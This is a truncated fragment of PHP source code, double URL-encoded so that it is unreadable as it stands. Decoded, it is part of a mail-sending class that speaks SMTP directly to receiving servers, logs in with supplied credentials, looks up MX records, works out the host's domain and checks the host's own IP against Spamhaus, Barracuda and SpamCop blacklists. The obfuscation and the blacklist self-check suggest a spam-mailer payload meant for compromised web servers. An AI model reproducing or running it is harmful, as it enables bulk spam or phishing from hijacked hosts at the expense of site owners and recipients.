2527%252C%2520%2524helo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528stripos%2528%2524ehlo_resp%252C%2520%2522STARTTLS%2522%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522STARTTLS%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524tls_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E220/%2527%252C%2520%2524tls_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2540stream_socket_enable_crypto%2528%2524sock%252C%2520true%252C%2520STREAM_CRYPTO_METHOD_TLS_CLIENT%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522EHLO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524ehlo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524ehlo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522MAIL%2520FROM%253A%2520%253C%2524mail_from%253E%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_mf%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524resp_mf%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522RCPT%2520TO%253A%2520%253C%2524to%253E%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_rc%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E25%255B01%255D/%2527%252C%2520%2524resp_rc%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522DATA%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_data%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E354/%2527%252C%2520%2524resp_data%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524lines%2520%253D%2520%2540explode%2528%2522%255Cn%2522%252C%2520%2524data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524lines%2520as%2520%2524ln%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520rtrim%2528%2524ln%252C%2520%2522%255Cr%255Cn%2522%2529.%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524final%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524final%252C%2520%2522250%2522%2529%2520%253D%253D%253D%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522QUIT%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520smtp_helo_auth_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%252C%2520%2524login%252C%2520%2524pass%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524helo%2520%253D%2520%2524this-%253Eformat_smtp_host%2528%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522EHLO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ehlo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524ehlo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522HELO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524helo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524helo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528stripos%2528%2524ehlo_resp%252C%2520%2522STARTTLS%2522%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522STARTTLS%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524tls_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E220/%2527%252C%2520%2524tls_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2540stream_socket_enable_crypto%2528%2524sock%252C%2520true%252C%2520STREAM_CRYPTO_METHOD_TLS_CLIENT%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522EHLO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524ehlo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524ehlo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522AUTH%2520LOGIN%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_auth%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E334/%2527%252C%2520%2524resp_auth%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520base64_encode%2528%2524login%2529.%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_user%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E334/%2527%252C%2520%2524resp_user%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520base64_encode%2528%2524pass%2529.%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_pass%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E235/%2527%252C%2520%2524resp_pass%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522MAIL%2520FROM%253A%2520%253C%2524mail_from%253E%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_mf%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524resp_mf%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522RCPT%2520TO%253A%2520%253C%2524to%253E%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_rc%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E25%255B01%255D/%2527%252C%2520%2524resp_rc%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522DATA%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_data%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E354/%2527%252C%2520%2524resp_data%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524lines%2520%253D%2520%2540explode%2528%2522%255Cn%2522%252C%2520%2524data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524lines%2520as%2520%2524ln%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520rtrim%2528%2524ln%252C%2520%2522%255Cr%255Cn%2522%2529.%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524final%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524final%252C%2520%2522250%2522%2529%2520%253D%253D%253D%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522QUIT%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520smtp_read_response%2528%2524sock%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp%2520%253D%2520%2522%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520while%2520%2528%2521%2540feof%2528%2524sock%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524line%2520%253D%2520%2540fgets%2528%2524sock%252C%2520515%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524line%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524resp%2520.%253D%2520%2524line%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540substr%2528%2524line%252C%25203%252C%25201%2529%2520%253D%253D%2520%2522%2520%2522%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524resp%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520check_rbl%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524dnsbl_check%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527b.barracudacentral.org%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527xbl.spamhaus.org%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527sbl.spamhaus.org%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527zen.spamhaus.org%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527bl.spamcop.net%2527%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ip%2520%253D%2520%2540gethostbyname%2528%2524this-%253Ebasedomain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524ip%2529%2520return%2520%2527%252Arbl%253Aunknown%252A%2527%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524rip%2520%2520%2520%2520%253D%2520implode%2528%2527.%2527%252C%2520array_reverse%2528explode%2528%2527.%2527%252C%2520%2524ip%2529%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524result%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524dnsbl_check%2520as%2520%2524dnsbl%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540checkdnsrr%2528%2522%2524rip.%2524dnsbl.%2522%252C%2520%2527A%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524result%2520.%253D%2520%2522%2524dnsbl%252C%2520%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520rtrim%2528%2524result%252C%2520%2527%252C%2520%2527%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_domain%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sources%2520%253D%2520array%2528%2527SERVER_NAME%2527%252C%2527HTTP_HOST%2527%252C%2527SERVER_ADDR%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%2520%2520%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524sources%2520as%2520%2524s%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524host%2520%253D%253D%2520%2527localhost%2527%2520%257C%257C%2520%2524host%2520%253D%253D%2520%2527127.0.0.1%2527%2520%257C%257C%2520strpos%2528%2524host%252C%2520%2527.%2527%2529%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524host%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524_SERVER%255B%2524s%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524hv%2520%2520%2520%253D%2520%2540preg_replace%2528%2527/%253A%255Cd%252B%2524/%2527%252C%2527%2527%252C%2520%2524_SERVER%255B%2524s%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520trim%2528%2524hv%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524host%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2527localhost.localdomain%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2540preg_replace%2528%2527/%255Ewww%255C./i%2527%252C%2520%2527%2527%252C%2520%2524host%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524fulldomain%2520%253D%2520%2524host%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524baseDomain%2520%253D%2520%2524host%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524this-%253Eget_mx_records%2528%2524fulldomain%252C%2520false%2529%2529%2520%257C%257C%2520%2540preg_match%2528%2527/%255E%2528%255Cd%257B1%252C3%257D%255C.%2529%257B3%257D%255Cd%257B1%252C3%257D%2524/%2527%252C%2520%2524host%2529%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520array%2528%2524baseDomain%252C%2520%2524fulldomain%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524host%252C%2520%2527%253A%2527%2529%2520%2521%253D%253D%2520false%2520%2526%2526%2520%2540preg_match%2528%2527/%255E%2528%255B0-9a-fA-F%255D%257B1%252C4%257D%253A%2529%257B1%252C7%257D%255B0-9a-fA-F%255D%257B1%252C4%257D%2524/%2527%252C%2520%2524host%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520array%2528%2524baseDomain%252C%2520%2524fulldomain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520explode%2528%2527.%2527%252C%2520%2524fulldomain%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528count%2528%2524parts%2529%2520%253E%25202%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524partsCount%2520%253D%2520count%2528%2524parts%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520for%2520%2528%2524i%2520%253D%25201%253B%2520%2524i%2520%253C%2520%2524partsCount%253B%2520%2524i%252B%252B%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524candidate%2520%253D%2520implode%2528%2527.%2527%252C%2520array_slice%2528%2524parts%252C%2520%2524i%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524candidate%252C%2520%2527.%2527%2529%2520%253D%253D%253D%2520false%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524candidateIp%2520%253D%2520%2540gethostbyname%2528%2524candidate%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524candidateIp%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524baseDomain%2520%253D%2520%2524candidate%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520array%2528%2524baseDomain%252C%2520%2524fulldomain%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_mx_records%2528%2524domain%252C%2520%2524usea%2520%253D%2520true%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_records%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524weights%2520%2520%2520%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2527getmxrr%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540getmxrr%2528%2524domain%252C%2520%2524mx_records%252C%2520%2524weights%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524mx_records%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540array_multisort%2528%2524weights%252C%2520%2524mx_records%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524mx_records%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2527dns_get_record%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524drec%2520%253D%2520%2540dns_get_record%2528%2524domain%252C%2520DNS_MX%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524drec%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524drec%2520as%2520%2524mx%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524mx%255B%2527target%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_records%255B%255D%2520%253D%2520%2524mx%255B%2527target%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524weights%255B%255D%2520%2520%2520%2520%253D%2520isset%2528%2524mx%255B%2527pri%2527%255D%2529%2520%253F%2520%2524mx%255B%2527pri%2527%255D%2520%253A%252010%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524mx_records%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540array_multisort%2528%2524weights%252C%2520%2524mx_records%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524mx_records%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528%2524usea%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524arec%2520%253D%2520%2540dns_get_record%2528%2524domain%252C%2520DNS_A%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524arec%2529%2520%2526%2526%25